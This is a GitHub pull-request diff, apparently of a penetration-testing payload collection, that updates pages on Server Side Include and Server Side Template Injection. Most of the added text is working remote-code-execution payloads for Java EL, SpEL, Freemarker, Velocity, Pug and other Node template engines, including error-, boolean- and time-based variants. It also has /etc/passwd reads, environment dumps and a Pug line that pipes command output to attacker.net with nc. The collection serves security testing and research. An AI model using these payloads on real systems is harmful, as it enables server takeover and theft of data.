Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
11 changes: 11 additions & 0 deletions Server Side Include Injection/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,10 +4,21 @@

## Summary

* [Tools](#tools)
* [Methodology](#methodology)
* [Edge Side Inclusion](#edge-side-inclusion)
* [References](#references)

## Tools

* [vladko312/SSTImap](https://github.com/vladko312/SSTImap) - Automatic SSTI detection tool with interactive interface based on [epinna/tplmap](https://github.com/epinna/tplmap), supports SSI detection and exploitation with `--legacy` or `-e SSI`

```bash
python3 ./sstimap.py -u 'https://example.com/page?name=John' --legacy -s
python3 ./sstimap.py -i -u 'https://example.com/page?name=Vulnerable*&message=My_message' -l 5 -e SSI
python3 ./sstimap.py -i --legacy -A -m POST -l 5 -H 'Authorization: Basic bG9naW46c2VjcmV0X3Bhc3N3b3Jk'
```

## Methodology

SSI Injection occurs when an attacker can input Server Side Include directives into a web application. SSIs are directives that can include files, execute commands, or print environment variables/attributes. If user input is not properly sanitized within an SSI context, this input can be used to manipulate server-side behavior and access sensitive information or execute commands.
Expand Down
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
124 changes: 80 additions & 44 deletions Server Side Template Injection/Java.md
Original file line number Diff line number Diff line change
Expand Up @@ -5,17 +5,15 @@
## Summary

- [Templating Libraries](#templating-libraries)
- [Java](#java)
- [Java - Basic Injection](#java---basic-injection)
- [Java - Retrieve Environment Variables](#java---retrieve-environment-variables)
- [Java - Retrieve /etc/passwd](#java---retrieve-etcpasswd)
- [Java EL](#java-el)
- [Java EL - Basic Injection](#java-el---basic-injection)
- [Java EL - Code Execution](#java-el---code-execution)
- [Freemarker](#freemarker)
- [Freemarker - Basic Injection](#freemarker---basic-injection)
- [Freemarker - Read File](#freemarker---read-file)
- [Freemarker - Code Execution](#freemarker---code-execution)
- [Freemarker - Code Execution with Obfuscation](#freemarker---code-execution-with-obfuscation)
- [Freemarker - Sandbox Bypass](#freemarker---sandbox-bypass)
- [Codepen](#codepen)
- [Jinjava](#jinjava)
- [Jinjava - Basic Injection](#jinjava---basic-injection)
- [Jinjava - Command Execution](#jinjava---command-execution)
Expand All @@ -32,27 +30,31 @@
- [Groovy - Sandbox Bypass](#groovy---sandbox-bypass)
- [Spring Expression Language](#spring-expression-language)
- [SpEL - Basic Injection](#spel---basic-injection)
- [SpEL - Retrieve Environment Variables](#spel---retrieve-environment-variables)
- [SpEL - Retrieve /etc/passwd](#spel---retrieve-etcpasswd)
- [SpEL - DNS Exfiltration](#spel---dns-exfiltration)
- [SpEL - Session Attributes](#spel---session-attributes)
- [SpEL - Command Execution](#spel---command-execution)
- [References](#references)

## Templating Libraries

| Template Name | Payload Format |
| ------------ | --------- |
| Codepen | `#{}` |
| Freemarker | `${3*3}`, `#{3*3}`, `[=3*3]` |
| Groovy | `${9*9}` |
| Jinjava | `{{ }}` |
| Pebble | `{{ }}` |
| Spring | `*{7*7}` |
| Thymeleaf | `[[ ]]` |
| Velocity | `#set($X="") $X` |
| Template Name | Payload Format |
|---------------|------------------------|
| Codepen | `#{ }` |
| Freemarker | `${ }`, `#{ }`, `[= ]` |
| Groovy | `${ }` |
| Jinjava | `{{ }}` |
| Pebble | `{{ }}` |
| Spring | `*{ }` |
| Thymeleaf | `[[ ]]` |
| Velocity | `#set($X="") $X` |

## Java
## Java EL

### Java - Basic Injection
### Java EL - Basic Injection

Java has multiple Expression Languages using similar syntax.

> Multiple variable expressions can be used, if `${...}` doesn't work try `#{...}`, `*{...}`, `@{...}` or `~{...}`.

Expand All @@ -64,18 +66,14 @@ ${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
```

### Java - Retrieve Environment Variables

```java
${T(java.lang.System).getenv()}
```

### Java - Retrieve /etc/passwd
### Java EL - Code Execution

```java
${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')}
${''.getClass().forName('java.lang.String').getConstructor(''.getClass().forName('[B')).newInstance(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').inputStream.readAllBytes())} // Rendered RCE
${''.getClass().forName('java.lang.Integer').valueOf('x'+''.getClass().forName('java.lang.String').getConstructor(''.getClass().forName('[B')).newInstance(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').inputStream.readAllBytes()))} // Error-Based RCE
${1/((''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').waitFor()==0)?1:0)+''} // Boolean-Based RCE
${(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').waitFor().equals(0)?(''.getClass().forName('java.lang.Thread')).sleep(5000):0).toString()} // Time-Based RCE

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```

---
Expand Down Expand Up @@ -110,6 +108,10 @@ Convert the returned bytes to ASCII
${"freemarker.template.utility.Execute"?new()("id")}
#{"freemarker.template.utility.Execute"?new()("id")}
[="freemarker.template.utility.Execute"?new()("id")]

${("xx"+("freemarker.template.utility.Execute"?new()("id")))?new()} // Error-Based RCE
${1/((freemarker.template.utility.Execute"?new()(" … && echo UniqueString")?chop_linebreak?ends_with("UniqueString"))?string('1','0')?eval)} // Boolean-Based RCE
${"freemarker.template.utility.Execute"?new()("id && sleep 5")} // Time-Based RCE
```

### Freemarker - Code Execution with Obfuscation
Expand Down Expand Up @@ -140,24 +142,6 @@ ${dwf.newInstance(ec,null)("id")}

---

## Codepen

[Official website](https://codepen.io/)
>

```python
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```

```javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```

---

## Jinjava

[Official website](https://github.com/HubSpot/jinjava)
Expand Down Expand Up @@ -275,6 +259,41 @@ A more flexible and stealthy payload that supports base64-encoded commands, allo
#end
```

Error-Based RCE payload:

```java
#set($s="")
#set($sc=$s.getClass().getConstructor($s.getClass().forName("[B"), $s.getClass()))
#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id")
#set($n=$p.waitFor())
#set($b="Y:/A:/"+$sc.newInstance($p.inputStream.readAllBytes(), "UTF-8"))
#include($b)
```

Boolean-Based RCE payload:

```java
#set($s="")
#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id"))
#set($n=$p.waitFor())
#set($r=$p.exitValue())
#if($r != 0)
#include("Y:/A:/xxx")
#end
```

Time-Based RCE payload:

```java
#set($s="")
#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id"))
#set($n=$p.waitFor())
#set($r=$p.exitValue())
#if($r != 0)
#set($t=$s.getClass().forName("java.lang.Thread").sleep(5000))
#end
```

---

## Groovy
Expand Down Expand Up @@ -340,6 +359,8 @@ ${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(val

## Spring Expression Language

> Java EL payloads also work for SpEL

[Official website](https://docs.spring.io/spring-framework/docs/3.0.x/reference/expressions.html)

> The Spring Expression Language (SpEL for short) is a powerful expression language that supports querying and manipulating an object graph at runtime. The language syntax is similar to Unified EL but offers additional features, most notably method invocation and basic string templating functionality.
Expand All @@ -351,6 +372,20 @@ ${7*7}
${'patt'.toString().replace('a', 'x')}
```

### SpEL - Retrieve Environment Variables

```java
${T(java.lang.System).getenv()}
```

### SpEL - Retrieve /etc/passwd

```java
${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```

### SpEL - DNS Exfiltration

DNS lookup
Expand Down Expand Up @@ -421,3 +456,4 @@ ${pageContext.request.getSession().setAttribute("admin",true)}
- [Server-Side Template Injection: RCE For The Modern Web App (PDF) - James Kettle (@albinowax) - August 8, 2015](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf)
- [Server-Side Template Injection: RCE For The Modern Web App (Video) - James Kettle (@albinowax) - December 28, 2015](https://www.youtube.com/watch?v=3cT0uE7Y87s)
- [VelocityServlet Expression Language injection - MagicBlue - November 15, 2017](https://magicbluech.github.io/2017/11/15/VelocityServlet-Expression-language-Injection/)
- [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md)
76 changes: 61 additions & 15 deletions Server Side Template Injection/JavaScript.md
Original file line number Diff line number Diff line change
Expand Up @@ -5,31 +5,56 @@
## Summary

- [Templating Libraries](#templating-libraries)
- [Universal Payloads](#universal-payloads)
- [Handlebars](#handlebars)
- [Handlebars - Basic Injection](#handlebars---basic-injection)
- [Handlebars - Command Execution](#handlebars---command-execution)
- [Lodash](#lodash)
- [Lodash - Basic Injection](#lodash---basic-injection)
- [Lodash - Command Execution](#lodash---command-execution)
- [Pug](#pug)
- [References](#references)

## Templating Libraries

| Template Name | Payload Format |
| ------------ | --------- |
| DotJS | `{{= }}` |
| DustJS | `{}` |
| EJS | `<% %>` |
| HandlebarsJS | `{{ }}` |
| HoganJS | `{{ }}` |
| Lodash | `{{= }}` |
| MustacheJS | `{{ }}` |
| NunjucksJS | `{{ }}` |
| PugJS | `#{}` |
| TwigJS | `{{ }}` |
| UnderscoreJS | `<% %>` |
| VelocityJS | `#=set($X="")$X` |
| VueJS | `{{ }}` |
| Template Name | Payload Format |
|---------------|------------------|
| DotJS | `{{= }}` |
| DustJS | `{ }` |
| EJS | `<% %>` |
| HandlebarsJS | `{{ }}` |
| HoganJS | `{{ }}` |
| Lodash | `{{= }}` |
| MustacheJS | `{{ }}` |
| NunjucksJS | `{{ }}` |
| PugJS | `#{ }` |
| TwigJS | `{{ }}` |
| UnderscoreJS | `<% %>` |
| VelocityJS | `#=set($X="")$X` |
| VueJS | `{{ }}` |

## Universal Payloads

Generic code injection payloads work for many NodeJS-based template engines, such as DotJS, EJS, PugJS, UnderscoreJS and Eta.

To use these payloads, wrap them in the appropriate tag.

```javascript
// Rendered RCE
global.process.mainModule.require("child_process").execSync("id").toString()

// Error-Based RCE
global.process.mainModule.require("Y:/A:/"+global.process.mainModule.require("child_process").execSync("id").toString())
""["x"][global.process.mainModule.require("child_process").execSync("id").toString()]

// Boolean-Based RCE
[""][0 + !(global.process.mainModule.require("child_process").spawnSync("id", options={shell:true}).status===0)]["length"]

// Time-Based RCE
global.process.mainModule.require("child_process").execSync("id && sleep 5").toString()
```

NunjucksJS is also capable of executing these payloads using `{{range.constructor(' ... ')()}}`.

## Handlebars

Expand Down Expand Up @@ -120,7 +145,28 @@ ${= _.VERSION}
{{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","id;ls"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}}
```

---

## Pug

> Universal payloads also work for Pug.

[Official website](https://pugjs.org/api/getting-started.html)
>

```javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```

```javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```

## References

- [Exploiting Less.js to Achieve RCE - Jeremy Buis - July 1, 2021](https://web.archive.org/web/20210706135910/https://www.softwaresecured.com/exploiting-less-js/)
- [Handlebars template injection and RCE in a Shopify app - Mahmoud Gamal - April 4, 2019](https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
- [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md)
Loading